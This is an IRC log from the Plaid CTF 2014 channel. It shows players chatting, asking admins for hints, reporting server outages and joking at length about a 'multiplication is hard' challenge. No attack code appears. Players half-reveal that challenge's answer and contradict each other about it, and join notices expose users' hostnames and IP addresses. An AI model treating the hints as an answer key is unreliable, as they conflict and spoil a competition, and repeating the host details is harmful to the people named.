[00:55] == Apple_Eater [~Apple_Eat@mail.appleeater.com] has joined #pctf
[00:56] == mouth`1 [~mouth@5.45.180.209] has quit [Quit: Leaving.]
[00:56] <tokki> call you my everything~
[00:56] <pouete> ( just tried to call ().__nighmares__ . was not disapointed O )
[00:56] <tokki> :O
[00:56] == n00bz [~1234@host31-111-dynamic.6-79-r.retail.telecomitalia.it] has joined #pctf
[00:57] == Zoro has changed nick to awrign
[00:57] <tokki> me no getz misc 10
[00:57] <tokki> this is sad
[00:57] <Pitr_> I get it but only after someone explained it to me 8)
[00:57] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has quit [Remote host closed the connection]
[00:57] == awrign has changed nick to armerichigo
[00:58] == armerichigo has changed nick to americhigo
[00:58] <tokki> hmm
[00:58] <asmoday> ok seriously for curl, is this a DEP or Reverse
[00:58] <+tylerni7> what do you mean DEP?
[00:58] <tokki> DEPRESSION
[00:58] <+tylerni7> anyway, it's forensics
[00:58] <asmoday> sorry dpe, deep packet inspect
[00:58] <dct1> johnny DEP
[00:58] <tokki> LOL
[00:58] <americhigo> that would be dpi
[00:59] == maurer [~maurer@MIMUNG.ECE.CMU.EDU] has joined #pctf
[00:59] == n00b13 [~n00b13@unaffiliated/nitsua] has quit []
[00:59] <asmoday> said the guy who has slept ;p ha
[00:59] == Frisk0 [~Frisk0@128.237.204.61] has quit [Ping timeout: 240 seconds]
[00:59] == bwn3r [~n00b13@pool-173-69-181-134.bltmmd.fios.verizon.net] has joined #pctf
[00:59] == bwn3r [~n00b13@pool-173-69-181-134.bltmmd.fios.verizon.net] has quit [Changing host]
[00:59] == bwn3r [~n00b13@unaffiliated/nitsua] has joined #pctf
[01:00] == americhigo has changed nick to Zoro
[01:01] <Zoro> `-`
[01:01] == psaikonet1 [~psaikonet@cpe-72-179-33-155.austin.res.rr.com] has quit [Quit: Leaving.]
[01:01] == psaikonet1 [~psaikonet@cpe-72-179-33-155.austin.res.rr.com] has joined #pctf
[01:01] <asmoday> is it in the tcpdump or the memory
[01:02] <Apple_Eater> I had a question with kpop -- just wanted to see if I am on the right track. Anyone around?
[01:02] <Pitr_> it's DERP
[01:02] <+tylerni7> Apple_Eater: you can pm me
[01:02] <tokki> *gasp*
[01:02] <Apple_Eater> Thanks
[01:02] <tokki> DERP!!!
[01:03] <ShortKidd> tyler, are you ever not here?
[01:03] <tokki> is misc 10 like a nonsense question
[01:03] <asmoday> this damn game had me questioning 65535 how dare you
[01:03] <WhizzMan> urgh, multiplication *is* hard
[01:03] <tokki> like the answer should be like unicorns or something
[01:03] == killobyte [~killobyte@h140.net36.bmstu.ru] has joined #pctf
[01:03] <killobyte> hi, who can i ask about whatscat task?
[01:03] <+tylerni7> killobyte: me
[01:03] <+tylerni7> pm
[01:04] <ShortKidd> the heartbleed one, tokki?
[01:04] <tokki> the multiplication one :p
[01:04] <ShortKidd> oh lol
[01:04] == mode/#pctf [+o cai_] by ChanServ
[01:04] == Frisk0 [~Frisk0@2601:7:9e00:8f:ed6f:4299:1327:d3fe] has joined #pctf
[01:04] <tokki> *gasp* cai is op!
[01:04] == cai_ changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 24 Hours left | $10 added to each cash prizes so far (from CHANCE card)
[01:04] <cybertech> the mutiplication one is not working
[01:04] <tokki> lol
[01:04] <cybertech> i found the answer is wont take it
[01:04] == mode/#pctf [-o cai_] by ChanServ
[01:05] <tokki> lol
[01:05] <subsnake> xD
[01:05] <Pitr_> cybertech, try querying an admin
[01:05] <tokki> xD
[01:05] <cybertech> hmm
[01:05] <cybertech> no admins on here
[01:05] <asmoday> cybertech its not 65535
[01:05] <shadghost> admins are 'voiced' here
[01:05] <cybertech> hmm
[01:05] <tokki> lol
[01:05] <subsnake> nor unicorn
[01:05] <cybertech> i thought that was the answer
[01:05] <tokki> damn!
[01:06] <tokki> i was submitting unicorns!
[01:06] <+cai_> cybertech: it will take it when you have the correct answer
[01:06] <asmoday> think outside that box
[01:06] <cybertech> ok
[01:06] <Yerer> Oh haha
[01:06] <Yerer> I'm surprised that was the answer for misc10
[01:07] <+cai_> :)
[01:07] == Bijan-E [~bijan-e@unaffiliated/bijan-e] has quit [Quit: Leaving]
[01:07] == T1mb0 [~Timbo@05436dde.skybroadband.com] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Organize your IRC]
[01:07] == LouTerrailloune [~LouTerrai@home.louterrailloune.com] has quit [Ping timeout: 276 seconds]
[01:07] == shortkidd_ [60279873@gateway/web/freenode/ip.96.39.152.115] has joined #pctf
[01:08] == lstamour_ [~lstamour@beitshlomo.com] has quit [Quit: Lost terminal]
[01:08] <WhizzMan> I can't even see a box
[01:08] == kiwhacks [~kiwhacks@2a01:e35:87ea:8920:6a5d:43ff:fe86:f128] has joined #pctf
[01:08] <asmoday> You will punch yourself after knowing the answer
[01:09] <WhizzMan> oh I'm sure I will
[01:09] <asmoday> like really hard
[01:09] <NK_> :)
[01:09] <tokki> D:
[01:09] <asmoday> I will kick a baby, luckily none are near me ever, after I get the answer to a few of these
[01:10] <asmoday> Dramatic over thinking happens at defcon every year
[01:10] <tokki> D:
[01:10] <WhizzMan> puppies and kittens will be good supplicants
[01:10] <pouete> I would like to know if i am on the right track, should i ask my question on the public chan ?
[01:10] == lfogel [~lafogel@salisbury-71-252.dyn.wpi.edu] has quit [Ping timeout: 240 seconds]
[01:10] <+tylerni7> pouete: pm me
[01:10] <+tylerni7> may not be able to answer
[01:10] <+tylerni7> but yeah
[01:11] <tokki> THE PLAGUEEEEEE
[01:11] == naam [~naam@83.141.77.130] has joined #pctf
[01:11] == ShortKidd [60279873@gateway/web/freenode/ip.96.39.152.115] has quit [Ping timeout: 240 seconds]
[01:11] == shortkidd_ has changed nick to ShortKidd
[01:11] <WhizzMan> Yersinia
[01:12] tokki depresses over the scoreboard
[01:13] <Gynvael> agreed
[01:13] <ShortKidd> let's be depressed together
[01:13] <Gynvael> eb huh
[01:14] <+tylerni7> Gynvael: you guys got time :)
[01:14] <+tylerni7> btw which of you solved rsa?
[01:14] <Gynvael> adam_i
[01:14] <+cai_> Nice
[01:14] <+tylerni7> ooo curlcore solve
[01:14] <+tylerni7> nice
[01:14] <+cai_> 0xffa
[01:15] <+cai_> the vote begins :)
[01:15] <tokki> *gasp*
[01:15] <poppopret> anyone wanna push me in the right direction for web150? =/
[01:15] == poppopret [~poppopret@130.65.0.2] has quit [Remote host closed the connection]
[01:15] <Gynvael> yeah
[01:15] == plaintext [~dada@bl4-157-214.dsl.telepac.pt] has quit [Ping timeout: 252 seconds]
[01:15] == poppopret [~poppopret@130.65.0.2] has joined #pctf
[01:15] <Gynvael> protip for web150: staying on IRC after asking question ftw
[01:15] <tokki> MUST VOTEZ 1
[01:15] <+tylerni7> heh
[01:15] <shadghost> lol
[01:15] <asmoday> FUCK wanted the be the first curlcore
[01:15] <poppopret> lol it crashed
[01:16] <poppopret> back
[01:16] <tokki> that's sad
[01:16] <+tylerni7> poppopret: pm me I guess
[01:16] <iZsh> i got curlcore \o/ :)
[01:16] <tokki> poppopret:  our team member has a similar nickname, haha
[01:16] <tokki> congrats xD
[01:16] <bool_101> grats
[01:17] == lstamour_ [~lstamour@beitshlomo.com] has joined #pctf
[01:17] <iZsh> reaching 48h without sleep in a few hours, meh
[01:17] == plaintext [~dada@81.193.141.235] has joined #pctf
[01:17] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has joined #pctf
[01:18] == dedede [d4293493@gateway/web/freenode/ip.212.41.52.147] has joined #pctf
[01:18] <kiwhacks> what is the format of misc10 multiplication response ?
[01:18] == [ToH]bp [~bp__@131.175.28.197] has joined #pctf
[01:18] <+cai_> kiwhacks: number
[01:18] <+cai_> int
[01:18] <Zoro> ZOMBIE
[01:18] <+tylerni7> \d+
[01:18] <kiwhacks> ok thanks
[01:18] <subsnake> NUMBER?
[01:18] <subsnake> !
[01:19] <+tylerni7> ?
[01:19] <+cai_> i mean, you are multipyling two numbers, what did you expect :p
[01:19] <[ToH]bp> 42
[01:19] <subsnake> unicorn works just fine
[01:19] <Zoro> that's not how it works
[01:19] <tokki> guys if there are like no hints till the end of the ctf, wat happens :O
[01:19] <Adran> not invalid flag? :P
[01:20] <WhizzMan> "unknown flag"
[01:20] <Adran> the same thing happens whether there are hints or no hints, the winner(s) win :>
[01:20] <tokki> this misc should at least be 100 points
[01:20] <+tylerni7> well, keep in mind that multiplication is hard
[01:20] <tokki> ^true
[01:20] <WhizzMan> What, no recount?
[01:20] <Adran> and everyone learns something.
[01:20] <iZsh> tokki: problem with hints is that it kills the scoreboard :)
[01:20] <+tylerni7> WhizzMan: multiplication is hard, man
[01:20] <tokki> :D
[01:20] <WhizzMan> yeah, it is
[01:20] <tokki> tylerni7: it is this prob is killing our team
[01:21] == funtimes [~user@c-68-49-76-217.hsd1.md.comcast.net] has quit [Ping timeout: 246 seconds]
[01:21] <+tylerni7> maybe you should do another problem then :)
[01:21] <WhizzMan> tokki: pics!
[01:21] <Yerer> tokki: Try multiplying them
[01:21] == naam [~naam@83.141.77.130] has quit [Ping timeout: 240 seconds]
[01:21] <tokki> lol
[01:21] == zTrix [~zTrix@tu132196.ip.tsinghua.edu.cn] has quit [Ping timeout: 250 seconds]
[01:21] <tokki> hmm
[01:22] <hellman> open pls more crypto (and other tasks) until morning :)
[01:22] <Luffy> uh
[01:22] == [pwn]tayacan [~tayacan@wireless-conference.science.ku.dk] has quit [Quit: Leaving]
[01:22] <Luffy> is multiplication is hard broken
[01:22] <+tylerni7> Luffy: no
[01:22] <NK_> oh
[01:22] <Luffy> cuz im sure i multiplied them correctly
[01:22] <+cai_> Luffy: it's working fine :)
[01:22] <NK_> nooo
[01:22] <WhizzMan> Luffy: it's hard, that's why
[01:22] <NK_> this curl is linked to openssl1.0.1e
[01:22] <Luffy> i feel you guys snickering
[01:22] <+cai_> well, it's hard, so some people couldn't
[01:23] == Stean [~Stean@95-88-74-196-dynip.superkabel.de] has joined #pctf
[01:23] == haoz [b44ac723@gateway/web/freenode/ip.180.74.199.35] has joined #pctf
[01:24] <haoz> a
[01:24] == wolfpack [9807491f@gateway/web/freenode/ip.152.7.73.31] has joined #pctf
[01:24] <tokki> D:
[01:24] <ShortKidd> b
[01:24] <haoz> multiplication is hard ?
[01:24] <Zoro> That's what Misc 10 feels like
[01:25] <tokki> multiplication is hard.
[01:25] <Adran> error: cannot divide by zero
[01:25] <whos_tyler> Zoro: I dont get the joke
[01:25] <Zoro> have you done misc 10 yet?
[01:25] <whos_tyler> I have
[01:26] <whos_tyler> still dont get it
[01:26] <haoz> i dun get the flag :p
[01:26] == livinded [~livinded@108-84-156-71.lightspeed.sntcca.sbcglobal.net] has joined #pctf
[01:26] <duckyTS> misc10 is probably something stupid
[01:26] == [pwn]Idolf [~idolf@fw-alt2.math.ku.dk] has quit [Ping timeout: 258 seconds]
[01:26] <nullProtectorate> loł
[01:26] <tokki> lol
[01:26] <livinded> 101
[01:26] <asmoday> some middleschooler is laughing
[01:27] <tokki> i love how people are like, I solved it but i dont get it
[01:27] <nullProtectorate> łøł
[01:27] == vooX [4e81ae54@gateway/web/freenode/ip.78.129.174.84] has quit [Quit: Page closed]
[01:28] <haoz> mind to give some hints ? :p
[01:28] <kmowery> proofs of work :|
[01:28] <WhizzMan> for a 10 pt challenge? pfff
[01:28] <haoz> :X
[01:28] <WhizzMan> I'm not getting it either, but come on, it's a 10 point challenge
[01:29] <anyny0> Lol
[01:29] == mouth` [~mouth@5.45.180.209] has joined #pctf
[01:29] <x_x> This 10 point challenge is mocking me.
[01:29] <WhizzMan> yes :)
[01:29] <x_x> Much like my Calculus III grade.
[01:29] <x_x> Y_Y
[01:29] <WhizzMan> you and plenty of other people
[01:29] <Luffy> um
[01:29] <Luffy> is back and time a typo
[01:29] <Luffy> did you guyes mean back in time
[01:29] <x_x> Nope, it's a hint.
[01:30] <Luffy> it is?
[01:30] == lfogel [~lafogel@salisbury-71-252.dyn.wpi.edu] has joined #pctf
[01:30] <x_x> Maybe?
[01:30] <+tylerni7> Luffy: that's a typo
[01:30] <+tylerni7> :P
[01:30] <Luffy> oh
[01:30] x_x sniffles.
[01:30] <x_x> I hoped it was a hint.
[01:30] <Luffy> youre dumb
[01:30] <+tylerni7> Luffy: which problem?
[01:30] <Luffy> go away
[01:30] == be [ac17cef9ca@gateway/web/cgi-irc/kiwiirc.com/x-krbszdhddwaqbbzd] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[01:30] <Luffy> was talking about multiplication is hard
[01:30] <x_x> Multiplication is hard.
[01:31] <+tylerni7> there, it should say "back in time" now
[01:31] <shadghost> 1*1=1 , see i can multiply
[01:31] <Adran> man its like a chant
[01:31] <+cai_> voting ends in 12
[01:32] <tokki> ooh
[01:32] <namrog84> the flag isn't a number is it
[01:32] <tokki> they've told me it is an 'int' form
[01:32] <tokki> but are you guys sure
[01:32] <+cai_> namrog84: it is, for multiplication is hard problem
[01:32] <WhizzMan> so no flag{12324} but just 12324 ?
[01:33] <bwn3r> can anyone help me with 150 ? :'(
[01:33] <bwn3r> web
[01:33] == _ariel [~root@93.154.251.21] has joined #pctf
[01:33] tokki goes to corner, checks calculator and cries
[01:34] <Pitr_> May I complo
[01:34] <+cai_> WhizzMan: yeah, you shouldn't see flag{}.
[01:34] == jablonskim [~jablonski@178235254045.warszawa.vectranet.pl] has joined #pctf
[01:34] <Pitr_> May I compliment the creator of misc10 :D
[01:34] <sqall> much time consuming
[01:34] <sqall> such depression
[01:34] <sqall> very unwow :/
[01:34] <kurtisebear> its making me want to kill myself Im sure I need to think out the box a little but its been annoying me for like 30 mins now
[01:34] <WhizzMan> no amaze
[01:34] <tokki> ikr
[01:35] <x_x> It's both funny, and sad.
[01:35] == hkr` [~hkr@unaffiliated/hkr/x-6459160] has joined #pctf
[01:35] == LMolr [89ccb77e@gateway/web/freenode/ip.137.204.183.126] has joined #pctf
[01:36] <n00bz> lol voox
[01:36] == ggis [~ggis@fw-alt2.math.ku.dk] has quit [Ping timeout: 245 seconds]
[01:36] <LMolr> hints for tenement ??
[01:36] == jakemask [~anonymous@128.54.36.237] has joined #pctf
[01:36] <LMolr> i am trying hard
[01:36] <LMolr> plz admi
[01:36] <_ariel> hey guys, i have a problem with reverse 250 (hudak), i have found a key (without patching an app), i get congratz and that's all?
[01:37] == j0e__ [~The@174-22-95-184.sxfl.qwest.net] has quit [Ping timeout: 250 seconds]
[01:37] <+cai_> _ariel: you can pm me the key you found
[01:37] <WhizzMan> you want a medal?
[01:37] <n00bz> any help for web300?
[01:37] <tokki> a gold medal!
[01:38] == wahwah [~wahwah@ctf.inso.tuwien.ac.at] has quit [Ping timeout: 245 seconds]
[01:39] <+cai_> 4 minutes left for voting
[01:39] == gpp [~gpp@d14-69-215-126.try.wideopenwest.com] has joined #pctf
[01:40] <kurtisebear> and finaly got misc10
[01:41] <mak> To confirm, for reekee you need code execution to be able to find the flag, right?
[01:42] == InternalCumBustI [43a49c58@gateway/web/cgi-irc/kiwiirc.com/ip.67.164.156.88] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[01:42] <Hertz_> right mak
[01:43] == Ph4te [~phate@ctfgate.sec.in.tum.de] has quit [Remote host closed the connection]

[01:43] == ShortKidd [60279873@gateway/web/freenode/ip.96.39.152.115] has quit [Ping timeout
[01:43] == T1mb0 [~Timbo@05436dde.skybroadband.com] has joined #pctf
[01:44] == Ph4te [~phate@ctfgate.sec.in.tum.de] has joined #pctf
[01:44] <Phshap> damn
[01:44] <+cai_##### CHANCE Card: $10 added to the pot again
[01:44] <+cai_> no hints :'(
[01:44] <Phshap> :)
[01:44] <Phshap> i mean :(
[01:44] == mode/#pctf [+o cai_] by ChanServ
[01:44] <Phshap> very L(
[01:44] <x_x> booo money
[01:44] == mad0na [~subsnake@91.148.120.210] has quit [Quit: Lost terminal]
[01:44] <Phshap> who needs money
[01:44] == cai_ changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 24 Hours left | $20 added to each cash prizes so far (from CHANCE card)
[01:45] == mode/#pctf [-o cai_] by ChanServ
[01:48] <Pitr_> Chance should have a 'valuta change to BTC' card
[01:48] <[ToH]bp> dogecoin or bust
[01:48] <WhizzMan> to the moon
[01:48] <WhizzMan> Pitr_: 'currency change to MTGOX BTC'
[01:49] <+cai_> web is opened
[01:49] <bobsteam> question on reekee >.>
[01:49] <iago-x86> Hey, can I ask somebody a question about whatscat?
[01:49] <+tylerni7> iago-x86: sure
[01:49] <+tylerni7> I just refreshed the db
[01:50] <_blasty_> is new web supposed to give 500 err ?
[01:50] <+tylerni7> _blasty_: ... probably not h/o
[01:50] <halfvollemelk> multiplication is hard...
[01:50] <grimmlin_> crash double free:
[01:50] <mongo12> five double oh!!
[01:50] <grimmlin_> arf, wrong window
[01:50] <Adran> is halphow2js supposed to be giving 500?
[01:50] <+tylerni7> h/o
[01:50] <mongo12> call the nine one one
[01:50] <tokki> am I still online?
[01:50] <_blasty_> internet pwn-lice
[01:51] <jduck> q/uit 502 Bad Gateway
[01:51] <jduck> oops
[01:51] <tokki> lol
[01:51] <shadghost> Burp proxy error: Failed to connect to 54.196.246.17:8001
[01:51] <mischa__> halphow2js down?
[01:52] == trelgak [~trelgak@130.65.0.2] has joined #pctf
[01:52] <namrog84> 65
[01:53] <+tylerni7> ok
[01:53] == cybertech [4432fdee@gateway/web/freenode/ip.68.50.253.238] has quit [Ping timeout: 240 seconds]
[01:53] == shortkidd [60279873@gateway/web/freenode/ip.96.39.152.115] has joined #pctf
[01:53] <+tylerni7> HALPHOW2JS IS RUNNING NOW
[01:53] <acez> who can I ping for kappa
[01:53] <Im11Plus> Web 200 easy
[01:53] <Im11Plus> Gives you flag, such wow
[01:53] <haoz> multiplication is hard...
[01:53] <namrog84> multiplication is hard...
[01:53] <anyny0> Indeed
[01:54] <namrog84> just stick it in calculator, made easy!
[01:54] <tokki> D:...
[01:54] <tokki> its hard..
[01:54] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has quit [Remote host closed the connection]
[01:54] <haoz> something wrong with my calculator ? :(
[01:54] == asdfasdfasdfasdf [4738ed75@gateway/web/freenode/ip.71.56.237.117] has joined #pctf
[01:54] <namrog84> probably
[01:55] <namrog84> do you have CTF mode enabled?
[01:55] <tokki> lol
[01:55] <haoz> lolll....
[01:55] <x_x> The batteries on my TI died. Cannae enter it into CTF mode.
[01:55] == nullProtectorate [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has joined #pctf
[01:55] <tokki> TI's eat a lot of batteries
[01:55] <x_x> They really do.
[01:55] == Zoro has changed nick to aobugw4uob49tt34
[01:55] <tokki> and they are goddamn expensive, heavy,
[01:56] <halfvollemelk> I'm sure I multiplied it correctly...
[01:56] <tokki> and yet my scholl makes us buy them..
[01:56] == aobugw4uob49tt34 has changed nick to Zoro
[01:56] <trelgak> can anyone push me in the right direction for reversing200? been working on it for forever..
[01:56] == wahwah [~wahwah@ctf.inso.tuwien.ac.at] has joined #pctf
[01:57] <x_x> I want one of those newer CAS models. They have fancy pants 3D graphing.
[01:57] <Im11Plus> lul web 200 end.response
[01:57] <tokki> x_x: rly?! oh god technology
[01:58] <x_x> Delicious technology
[01:58] <shortkidd> reverse it, trel
[01:58] == Stean [~Stean@95-88-74-196-dynip.superkabel.de] has quit [Quit: Leaving.]
[01:58] <x_x> Refresh a few times.
[01:58] <x_x> It'll get there eventually.
[01:58] == fritz[] [~unk@93-138-136-136.adsl.net.t-com.hr] has joined #pctf
[01:58] == poppopret [~poppopret@130.65.0.2] has quit [Remote host closed the connection]
[01:59] <trelgak> can anyone help me answer a question i have about reversing 200?
[02:00] <WhizzMan> Heh, multiplication is hard is funnier than you'd think, especially if you know why the answer is what it is
[02:00] <Luffy> ya
[02:00] <Luffy> its funny :)
[02:00] <+cai_> WhizzMan: :
[02:00] <+cai_> :)*
[02:00] <+tylerni7> trelgak: perhaps
[02:01] <x_x> This is just getting cruel.
[02:01] <+tylerni7> you can pm
[02:01] <x_x> Like every math professor I've ever had.
[02:01] <x_x> >_>
[02:01] <haoz> :|
[02:01] <halfvollemelk> jo, wtf is this sorcery
[02:02] <halfvollemelk> suddenly I check my scoreboard and multiplication is solved
[02:02] <Adran> suddenly math is hard
[02:02] <halfvollemelk> suddenly i'm even more confused
[02:02] == deject3d [~deject3d@205.204.16.45] has joined #pctf
[02:02] <[ToH]bp> Infinity - object > []?
[02:02] <tokki> D:....
[02:03] <tokki> i still dont get the multiplication is hard
[02:03] <tokki> its hard
[02:03] <LMolr> i dont get crypto 20
[02:03] <LMolr> :/
[02:03] <tokki> :/
[02:03] == eZpl0it [~ezpl0it@x2f444fa.dyn.telefonica.de] has quit [Ping timeout: 252 seconds]
[02:03] <WhizzMan> halfvollemelk: playing with more people on your team?
[02:03] <tokki> lol
[02:03] <haoz> my mathssss....
[02:04] <LMolr> maybe i am """special"""
[02:04] == nodoc [~nodoc@host-252-206-107-208.midco.net] has joined #pctf
[02:04] == psaikonet1 [~psaikonet@cpe-72-179-33-155.austin.res.rr.com] has quit [Quit: Leaving.]
[02:05] <Adran> computers are hard, time to pack my bags
[02:07] <deject3d> crypto 20 is one of the simplest ciphers
[02:07] <tokki> wat
[02:07] <tokki> wat?!
[02:07] <tokki> wat?!?!?
[02:07] <Lopi> who can I pm with a question regarding a challenge?
[02:07] <Adran> it was pretty easy
[02:07] <+tylerni7> Lopi: me
[02:08] <kiwhacks> misc10 makes me crazy...
[02:08] <tokki> lol ya
[02:08] <namrog84> ditto
[02:09] <Luffy> nah
[02:09] <Luffy> theyre pretty easy
[02:09] <Luffy> just gotta think outside the box
[02:09] <namrog84> im so far outside the box, i dont even know where the box was
[02:09] <livinded> is reekee getting hammered?
[02:09] <Adran> I've stretched out the box so much its now a circle
[02:10] <deject3d> reekee sux
[02:10] == ggis [~ggis@0x3ec6eb67.inet.dsl.telianet.dk] has joined #pctf
[02:10] == naam [~naam@83.141.77.130] has joined #pctf
[02:10] == nofiki1 [~Adium@207.98.148.16] has joined #pctf
[02:10] == nofiki1 [~Adium@207.98.148.16] has quit [Client Quit]
[02:10] == mascot [~user@ec2-23-20-163-234.compute-1.amazonaws.com] has joined #pctf
[02:11] <namrog84> 38.55 * 1700
[02:11] <namrog84> oops
[02:11] <shadghost> namrog84: copy past is also hard?
[02:11] == nofiki1 [~Adium@207.98.148.16] has joined #pctf
[02:12] <namrog84> yes, I am clearly an incapable of normal computer operations
[02:12] <namrog84> can't even construct a sentence correctly either
[02:13] <tokki> asdfasdfasdfasfdafsadf
[02:13] <dkohlbre> is kappa supposed to take as much CPU as watching twitch does? Its making my laptop takeoff :/
[02:14] == dvddaver [~dvddaver@134.219.227.21] has joined #pctf
[02:15] == shortkidd [60279873@gateway/web/freenode/ip.96.39.152.115] has quit [Ping timeout: 240 seconds]
[02:15] == anyny0 [6babd56d@gateway/web/cgi-irc/kiwiirc.com/ip.107.171.213.109] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
[02:16] == nofiki1 [~Adium@207.98.148.16] has quit [Client Quit]
[02:16] == sewilton [~shane@CPE68b6fc3e3053-CM68b6fc3e3050.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
[02:16] == Anyny0 [6babd56d@gateway/web/cgi-irc/kiwiirc.com/ip.107.171.213.109] has joined #pctf
[02:16] == _ariel [~root@93.154.251.21] has quit [Ping timeout: 240 seconds]
[02:16] <iago-x86> dkohlbre: It shouldn't
[02:16] <tokki> twitch pokemon!
[02:16] <namrog84> woo!! Got multiply is hard!
[02:17] <namrog84> <- idiot
[02:17] <tokki> did you get key?
[02:17] <namrog84> yep :D
[02:17] <tokki> holy shet, i should be working on it harder
[02:17] <dvddaver> Anybody solved ezhp?
[02:17] <namrog84> now back to the awful web150
[02:17] <Ymgve> dvddaver: only 58 teams
[02:17] == naam [~naam@83.141.77.130] has quit [Read error: Connection reset by peer]
[02:18] <haoz> im the another idiot >.<
[02:18] == _ariel [~root@78.30.88.107] has joined #pctf
[02:18] <asmoday> dogestege is that one where I have to find the same image online
[02:19] <haoz> namrog84 : mind to ...... ? :p
[02:19] <LMolr> tenement owns me
[02:19] <tokki> 38.55 * 1700 is freaking 65535
[02:19] <asmoday> hhahaha
[02:19] <namrog84> :D
[02:20] <tokki> :D
[02:20] <tokki> :D....
[02:20] <namrog84> ......  there it is, i typed it in, but i think the channel blocks flags :D
[02:20] <Adran> anyone willing to answer a question about a puzzle/hunt?
[02:20] <namrog84> just like passwords: ********
[02:20] <tokki> :D

[02:21] <acez> tylerni7: who can I ping for kappa ?
[02:21] <Ymgve> tokki: it's not a 1 pointer
[02:21] <supersat> man... I love paris. mov eax, 0  mov eax, [eax]
[02:21] <supersat> luuuuulz
[02:21] <+dickoff> acez: me
[02:21] <n00bz> web300 is down
[02:22] <tokki> :D

----------------April 13th -----------------------------------------------


OMG x_x had the whole irc log and yeah I checked it after posting- thanks so much!!! <3 k me savin in bookmarkz ILY Sorry for not noticing 

The following irc log was given by Adran- Thx <3
+)Plus, that's the reason the time's gonna get mixed up somewhere in the middle, thx (that's me trying to save logs at the last second)

19:00 #pctf: <+ricky> geobot: banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana banana
19:00 #pctf: < Guest68736> on web100
19:00 #pctf: < geobot> web100
19:00 #pctf: < Adran> on w
19:00 #pctf: < Hertz> yea works
19:00 #pctf: < Hertz> :D
19:00 #pctf: < sven> i'm about 5' 11"
19:00 -!- snoopybbt [~manu@131.175.28.197] has joined #pctf
19:00 #pctf: <+tylerni7> sven: ah okay, thanks
19:00 #pctf: <+dickoff> world's largest ctf player
19:00 #pctf: < sven> always glad to help!
19:00 #pctf: < geobot> (i'm glad to a team that means like pwn2own/pwnium 0days :p
19:01 #pctf: <+ricky> Only 2 more hours!
19:01 #pctf: <+tylerni7> D:
19:01 #pctf: <+tylerni7> and the top 3 are still in contention!
19:02 -!- bool_101 [~bool@67.163.29.185] has joined #pctf
19:02 #pctf: < Hertz> give me some flags, to have top 4 in contention
19:02 #pctf: < AnthraX101> And the last file just opened. Lucky, that :P
19:02 #pctf: < nopple> geobot: ricky cheese ricky cheese ricky cheese ricky cheese ricky cheese ricky cheese ricky cheese ricky cheese
19:02 #pctf: <+ricky> Hahh
19:02 #pctf: <+ricky> Oh wow
19:02 #pctf: <+ricky> Jackshit is out
19:02 #pctf: <+ricky> Go go go
19:02 #pctf: <+ricky> (As if we didn't already have enough challenges0
19:02 #pctf: <+ricky> This will be the last one I believe
19:02 #pctf: <+ricky> Have fnu
19:03 -!- amar [80edcf34@gateway/web/freenode/ip.128.237.207.52] has joined #pctf
19:05 -!- jakemask [~jakemask@cpe-75-80-53-234.san.res.rr.com] has joined #pctf
19:07 #pctf: < mrsmith67> for web100 does bruting with oed really work?
19:08 #pctf: < lkwpeter> good question
19:08 #pctf: < lkwpeter> forbidden or allowed ?!
19:09 #pctf: <+tylerni7> it won't work...
19:09 #pctf: <+tylerni7> well
19:09 #pctf: <+tylerni7> you can try
19:10 -!- someone_ [d1cb4e22@gateway/web/freenode/ip.209.203.78.34] has joined #pctf
19:10 #pctf: < almac> who can I PM to get a little guidance for kpop?
19:10 #pctf: <+ricky> Aaaany more bronies questions?  Someone's got to take the 500 points :-)
19:11 #pctf: < Adran> ricky: what is the answer? =D
19:11 #pctf: <+tylerni7> poop
19:11 #pctf: < Adran> (joking)
19:11 #pctf: <+ricky> The answer is the contents of the key file
19:11 #pctf: < geobot> or the contents of jerkcity
19:11 #pctf: <+tylerni7> geobot: you are the best
19:11 -!- Zoro [328200f8@gateway/web/freenode/ip.50.130.0.248] has joined #pctf
19:13 -!- cool_guy [~cool_guy@14.139.82.6] has joined #pctf
19:13 #pctf: < wtbw> how long left?
19:14 #pctf: <+cai_> little less than 2 hours
19:14 #pctf: <+ricky> Enough time to hack the Bigson!
19:15 #pctf: <+tylerni7> :P
19:15 #pctf: < johnCool> Well, I've got enough of this :) Thanks you guys it was a great ctf.
19:15 #pctf: <+ricky> Thanks for playing!
19:15 #pctf: < wtbw> ty
19:15 -!- phiber__ [~bleh@75.Red-81-36-175.dynamicIP.rima-tde.net] has joined #pctf
19:16 -!- Saxophie [~sophie@ip-83-134-206-91.dsl.scarlet.be] has joined #pctf
19:16 #pctf: < NK_> just to be sure
19:16 #pctf: < halfvollemelk> web100.. i'm logged in as admin, but no admin interface?
19:16 #pctf: < geobot> i am going for bronies 2 logged in physical sports?
19:16 #pctf: < NK_> is the tor service still up ?
19:16 #pctf: <+tylerni7> NK_: :|
19:16 #pctf: <+tylerni7> I will check
19:16 #pctf: <+tylerni7> but...
19:16 #pctf: <+tylerni7> it has been up the entire game
19:16 #pctf: <+houqp_> ninjafish: yes
19:16 #pctf: < NK_> okay :)
19:16 #pctf: <+tylerni7> and like 100 people have asked
19:17 #pctf: <+houqp_> NK_: yes
19:17 #pctf: < NK_> oh
19:17 #pctf: < NK_> sorry then :)
19:17 #pctf: <+ricky> halfvollemelk: There should be a message that tells you what to do next when you login as admin
19:18 #pctf: < NK_> tor is too damn slow
19:18 #pctf: < Zoro> molasses
19:18 #pctf: <+houqp_> NK_: yeah, you need to do somethign about it
19:18 #pctf: < NK_> okay
19:19 -!- BinaryCrystal [~Evan@wifi.skullspace.ca] has left #pctf []
19:19 #pctf: < foundation> i have a new feature request for radare2
19:19 #pctf: < NK_> i see
19:19 #pctf: < foundation> fing C++ template debugging support!!!
19:19 #pctf: < Guest68736> hahahaha the video on web100
19:19 #pctf: < Guest68736> xD
19:20 #pctf: < ciliated> any hints on kpop?
